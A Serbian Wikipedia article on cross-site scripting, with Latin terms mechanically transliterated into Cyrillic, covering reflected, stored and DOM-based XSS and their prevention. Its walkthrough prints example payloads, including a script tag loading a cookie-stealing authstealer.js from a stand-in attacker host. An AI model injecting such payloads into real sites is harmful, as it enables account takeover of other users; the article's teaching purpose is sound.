Цросс-сите сцриптинг

С Википедије, слободне енциклопедије

Цросс-сите сцриптинг (XСС) је тип пропуста у компјутерској безбедности који се по правилу налази у Wеб апликацијама. XСС дозвољава нападачу да ињектује клијентску скрипту (На пример ЈаваСцрипт код)[1] у wеб страницу која је касније прегледна другим корисницима. XСС слабост се може употребити како би се заобишла сигурност сајта и самим тим изгубила контрола над истим, или како би се украле информације корисника који приступају сајту. 2007. године је забележено да је разлог за око 84% сигурносних пропуста XСС.[2]

Позадина[уреди | уреди извор]

Сигурност на wеб-у се базира на неколико механизма, укључујући и концепт поверења познат као политика истог порекла (енгл. саме-оригин полицy). Он у суштини каже да ако било који садржај унутар сајта (на пример https://mojabanka.primer1.com[мртва веза]) има дозволу за приступ ресурсима у систему, онда сваки садржај на том сајту дели исте привилегије, док садржај са другог сајта (на пример https://drugisajt.primer2.com[мртва веза]) има своје, одвојене, дозволе.[3]

XСС употребљава познате слабости у wеб апликацијама, њиховим серверима, или плуг-ин системима на којима се ослањају. Експлоатацијом једне од ових, нападач имплементира злонамеран садржај унутар садржај самог сајта. Када резултујући, комбиновани, садржај достигне корисника са клијентске стране, сав материјал долази од поверљивог извора, па затим рачунар даје пуна права скриптама те странице. Овим начином, ињекцијом скрипта у wеб странице, нападач може, са пуним правом, преузимати податке о подацима на осетљивим страницама, колачиће, и низ других информација које претраживачи чувају за корисника. XСС је, притом, специјалан начин ињекције кода у wеб сајтове.[4]

Први начини ињекције су били ЈаваСцрипт кодови, међутим начини XСС напада су градијално расли, где су данас популарни и други језици за ињекцију (АцтивеX, Јава, ВБСцрипт, Фласх, или чак ХТМЛ).[4]

XСС слабости су пријављене још од 1990. Оштећени сајтови који су пали под ефекат XСС-а укључују и сајтове социјалних мрежа (Тwиттер,[5] Фацебоок,[6] МyСпаце, YоуТубе и Оркут).[7][8] У скорије време, XСС пропусти су престигли бафер пропусте и постали најчешћа врста напада, где је 2007. године процењено да је 68% сајтова незаштићено од оваквих напада.[9]

Типови[уреди | уреди извор]

Не постоји само једна, стандардна класификација XСС пропуста, већ већина експерта разликује бар два начина XСС напада: неупорни и упорни. Неки их такође развајају у традиционалне (проузрокована грешком серверског кода) и ДОМ наклоњене (на клијентској страни кода).

Рефлектујући (неупорни)[уреди | уреди извор]

Пример неупорног XСС-а
Неупорна XСС слобаст у Гоогле-у би могла дозволити злонамеран сајт да нападне Гоогле кориснике који га посећују док су логовани.[10]

Неупорни (или рефлектујући) XСС напади су најчешћи.[10] Ове рупе се показују када подаци, који су додељени од стране wеб клијента, најчешће типа ХТТП упитнички параметар или ХТМЛ форма, буду одмах употребљени од стране серверских скрипти тако да парсирају и прикажу резултујућу страницу кориснику, без икакве исправне санитације и захтева.[11]

Зато што ХТМЛ документи имају просту, серијалну структуру, која меша контроле, формате и садржај у једно, сваки невалидан податак убачен унутар странице без исправног ХТМЛ енкодирања може довести до ињекције.[10] Класичан пример потенцијалне претње је претраживање по сајту. Уколико сајт није заштићен, корисник у правоугаоник за претраживање може унети низ карактера који представља ХТМЛ имплементацију ЈаваСцрипт кода и самим тим оштетити сигурност сајта. Зато је веома важно парсирати све начина уноса.[12]

Рефлековани напад се типично поручује путем емаил-а или неутралних wеб сајтова. Мамац је УРЛ стандардног изгледа, који показује на сајт у који имате поверења, али садржи XСС вектор. Уколико је поверљив сајт неосигуран од XСС-а, кликом на линк може проузроковати да жртвин претраживач покрене ињектовану скрипту.

Упорни[уреди | уреди извор]

Пример упорног XСС-а
Упорна цросс-зоне сцриптинг слабост упарена са компјутерским црвом је осбособила прислушкивање и покретање бројних злонамерних кодова у систему података преко QуицкТиме филмова на МyСпаце-у.[13]

Упорни (или снимљени) XСС напад је више разарајућ тип XСС слабости. Он се појављује тако што се убачени код снима на серверу, и затим се трајно појављује на "нормалној" страници. Класичан пример оваквог напада су коментари. Уколико сајт није заштићен, нападач може поставити злонамеран код унутар коментара, који ће касније бити сачуван на серверу. Било који корисник који након тога приступи зараженој страници је изложен том коду.[11]

Примера ради, претпоставите да постоји сајт за упознавање, где корисник може прегледати туђе профиле. Ради приватности, сајт крије свачије и емаил адресу. Они су сачувани као тајна на серверу. Једини корисник који може видети име и маил је сам корисник ком припада профил.

Нападач хоће да сазна име корисника на том сајту. Како би то урадио, он напише скрипту који се покраће када неко посети његов профил. Скрипта затим шаље поруку на његов сервер о информацијама тих корисника.

На питање на сајту "Опишите себе", нападач даје кратак (наизглед нормалан) одговор, али на крају одговора нападач још додаје и своју скрипту за крађу имена и емаил адресе. Уколико се скрипта налази унутар <сцрипт> елемената, ХТМЛ ће га протумачити као ЈаваСцрипт и неће бити приказан на сајту, али ће се покренути сваки пут када неки корисник уђе на сајт, његово име и емаил ће бити преузет и послат на сервер нападача.

Упорни XСС може бизи значајнији него било који други напада, зато што се напад покреће одмах по отварању странице, без икаквог индивидуалног циљања жртве или навођења на било какав сајт треће стране. На примеру изнад, скрипта ће упорно красти произвољан број информација свих корисника до оног тренутка када администратори не уклоне ту грешку.[14]

Серверске и ДОМ базиране слабости[уреди | уреди извор]

Пример ДОМ XСС напада
Пре решавања грешке, Бугзилла странице за грешке су биле отваране у ДОМ базираном XСС нападу у ком је произвољан број ХТМЛ-а и скрипти могло бити ињектовано помоћу форсираних порука грешке.[15]

Историјски, први XСС напад је нађен у апликацији која је све податке процесовала унутар сервера. Кориснички унос (укључујући и XСС вектор) би се слао на сервер, и затим назад кориснику као wеб страница. Потреба за бољом интеракцијом корисника довела је до тога да се већина раније серверских задатака данас извршава на клијентском нивоу (на пример помоћу ЈаваСцрипт-а), па и да се захтеви извршавају клијентски помоћу АЈАX-а.

Како се ЈаваСцрипт све чешће појављивао, нова подкласа XСС напада је започела, назван ДОМ базирани XСС нападДОМ базираном XСС нападу, злонамеран податак не дотиче сервер, већ се потпуно рефлектује на клијентском нивоу.[16]

Пример ДОМ базиране XСС-а је грешка која је пронађена 2011 у неколико ЈQуерy надоградњи.[17] Превенција ДОМ базираних XСС укључује веома сличне мере као традиционални XСС, осим што имплементира ЈаваСцрипт код у послату wеб страну.[18]

Примери експлоитација[уреди | уреди извор]

Нападач који има намеру да изврши експлоитацију XСС слабости мора приступити класи сваке слабости на други начин. За сваку класу, специфичан нападачки вектор је описан овде. Имена испод су технички термини, узети из базе имена која су често коришћена у компјутерској сигурности.

Неупорни:

  1. Алиса често посећује специфичан wебсајт, који хостује Боб. Бобов wебсајт дозвољава Алиси да се пријави са корисничким именом и шифром и да поставља осетљиве податке, као што су број рачуна. Када се корисник пријави, њихов претраживач чува колачић ауторизације, који изгледа као низ насумичних карактера, тако да оба компјутера знају да се она пријавила.
  2. Малори примећује да Бобов сајт није заштићен од XСС напада:
    1. Када посети страницу претраге, убацује термин претраге у кутију за претрагу и кликне на субмит. Уколико ниједан резултат није пронађен, страница приказује термин који је она претраживала, заједно са поруком "није нађено", и УРЛ ће бити http://bobsajt.org?q=njena+pretraga[мртва веза]
    2. Са нормалном претрагом, на пример речју "кученце", страница једноставно приказује "кученце није нађено", и УРЛ ће бити http://bobsajt.org/?q=ku%C4%8Dence[мртва веза] (%Ц4%8Д је утф-8 ознака за ч), што је нормално понашање.
    3. Међутим када убаци абнормални упит, као на пример "<сцрипт тyпе='теxт/јавасцрипт'>алерт('ради!');</сцрипт>",
      1. Прозор упозорења искаче са поруком "ради!",
      2. Страница приказује "<сцрипт тyпе='теxт/јавасцрипт'>алерт('ради!');</сцрипт> није нађено", заједно са прозором упозорења "ради!",
      3. и УРЛ је "http://bobsajt.org?=[мртва веза]<сцрипт%20тyпе='теxт/јавасцрипт'>алерт('ради!');</сцрипт> - што је злоупотребљиво понашање.
  3. Малори прави УРЛ за злоупотребу слабости.
    1. Прави следећи УРЛ http://bobsajt.org?q=ku%C4%8Dence[мртва веза]<сцрипт%20срц="http://malorisajt.com/authstealer.js[мртва веза]"> и,
    2. шаље емаил неком кориснику Бобовог сајта који не очекује да је он заразан са поруком "Види ове слатке куце!"
  4. Алиса добија емаил. Она воли кучиће и кликне на линк. Он је одведе на Бобов сајт који не нађе ништа и прикаже "кученце није нађено" али између та два, покреће се скрипта и учитава Малоријев програм аутхстеалер.јс (ово је фајл који заиста постоји). Алиса заборави на то.
  5. аутхстеалер.јс програм се покреће на Алисовом претраживачу, као да је део Бобовог сајта. Он преузима копију Алисиног колачића ауторизације и шаље га на Малоријев сервер, где га она и прима.
  6. Затим Малори поставља преузети колачић на свој претраживач и приступа Бобовом сајту као да је она Алиса.
  7. Малори затим одлази на страницу где прегледа информације везане за Алисин рачун и прави копију. Након тога мења шифру тако да Алиса не може приступити свом налогу.
  8. Малори иде корак даље и шаље исти линк Бобу, пецајући га како би добила администраторска права сајта.

Неколико ствари је могло спречити овакав напад:

  1. Поље за претрагу је могло бити санитаризовано, што укључује правилну енкодацију.
  2. Wеб сервер је могао бити подешен да одбија невалидне захтеве.
  3. Wеб сервер је могао да детектује симулативно пријављивање и поништи сесију.
  4. Wеб сервер је могао да детектује симулативно пријављивање са 2 различите ИП адресе и поништи сесију.
  5. Wебсајт је могао да буде подешен тако да само прикаже последњих неколико бројева рачуна.
  6. Wебсајт је могао да затражи стару корисничку шифру пре него што је она могла бити промењена.
  7. Wебсајт је могао покренути разне чинове из Сигурности Корисничких Права (енгл. Цонтент Сецуритy Полицy)
  8. I најважније од свега корисници су могли бити упозорени од разних линкова сумњивог изгледа.

Упорни напади:

  1. Малори преузме Бобов налог на његовом wебсајту.
  2. Малори посматра Бобов wебсајт и примећује снимљену XСС слабост. Ако одете у Новости и поставите коментар, биће приказано шта год она унесе. Међутим, уколико унесе било какав ХТМЛ код, тагови ће се сакрити и ХТМЛ код ће се покренути.
  3. Малори прочита чланак и постави коментар: "Ја волим куце!<сцрипт срц="http://malorisajt.com/authstealer.js[мртва веза]">"
  4. Кад год Алиса уђе на линк, све њене информације се шаљу на Малоријев сервер.
  5. Малори сад може да краде Алисин сајт, колико год она пута мењала шифру, докле год она буде улазила на "заражену" страну.[19]

Фрамеwорк[уреди | уреди извор]

Претраживач-еxплоитација Фрамеwорк (енгл. Тхе Броwсер Еxплоитатион Фрамеwорк) може бити употребљен за напад wебсајтова и његових корисника.[20][21]

Види још[уреди | уреди извор]

  1. Рачунарска саботажа
  2. Типови криминала на интернету
  3. Безбедност веб апликација

Референце[уреди | уреди извор]

  1. ^ Цросс-сите Сцриптинг (XСС) Аттацк
  2. ^ „Архивирана копија” (ПДФ). Архивирано из оригинала (ПДФ) 25. 06. 2008. г. Приступљено 07. 05. 2015. 
  3. ^ Саме Оригин Полицy - Wеб Сецуритy
  4. ^ а б Јеремиах Гроссман: Тхе оригинс оф Цросс-Сите Сцриптинг (XСС)
  5. ^ Тwиттер усерс инцлудинг Сарах Броwн хит бy малициоус хацкер аттацк | Тецхнологy | Тхе Гуардиан
  6. ^ http://www.theregister.co.uk/2008/05/23/facebook_xss_flaw/
  7. ^ Тхе Wеб Апплицатион Сецуритy Цонсортиум / Wеб-Хацкинг-Инцидент-Датабасе
  8. ^ Обама сите хацкед; Редирецтед то Хилларy Цлинтон | ЗДНет
  9. ^ Софтwаре Вулнерабилитy Дисцлосуре: Тхе Цхиллинг Еффецт - ЦСО Онлине - Сецуритy анд Риск
  10. ^ а б в [„Гоогле.цом УТФ-7 XСС Вулнерабилитиес”. Архивирано из оригинала 13. 10. 2016. г. Приступљено 07. 05. 2015.  Гоогле.цом УТФ-7 XСС Вулнерабилитиес]
  11. ^ а б Тхе Wеб Апплицатион Сецуритy Цонсортиум / Цросс Сите Сцриптинг
  12. ^ XСС Аттацкс: Цросс-сите Сцриптинг Еxплоитс анд Дефенсе - Гоогле Књиге
  13. ^ Wорм:?ЈС/Qуицкспаце.А
  14. ^ „Архивирана копија”. Архивирано из оригинала 16. 05. 2008. г. Приступљено 7. 05. 2015. 
  15. ^ 272620 – XСС вулнерабилитy ин интернал еррор мессагес
  16. ^ Дом Басед Xсс - Оwасп
  17. ^ #9521 (XСС wитх $(лоцатион.хасх) анд $(#<таг>) ис неедед?) – јQуерy Цоре - Буг Трацкер
  18. ^ „ДОМ басед XСС Превентион Цхеат Схеет - ОWАСП”. Архивирано из оригинала 28. 01. 2017. г. Приступљено 07. 05. 2015. 
  19. ^ „Тхе топ 10 реасонс Wеб ситес гет хацкед - Нетwорк Wорлд”. Архивирано из оригинала 27. 03. 2014. г. Приступљено 7. 05. 2015. 
  20. ^ Цросс-сите сцриптинг - Wикипедиа, тхе фрее енцyцлопедиа
  21. ^ „Цросс-сите Сцриптинг (XСС) - ОWАСП”. Архивирано из оригинала 31. 05. 2015. г. Приступљено 22. 05. 2015.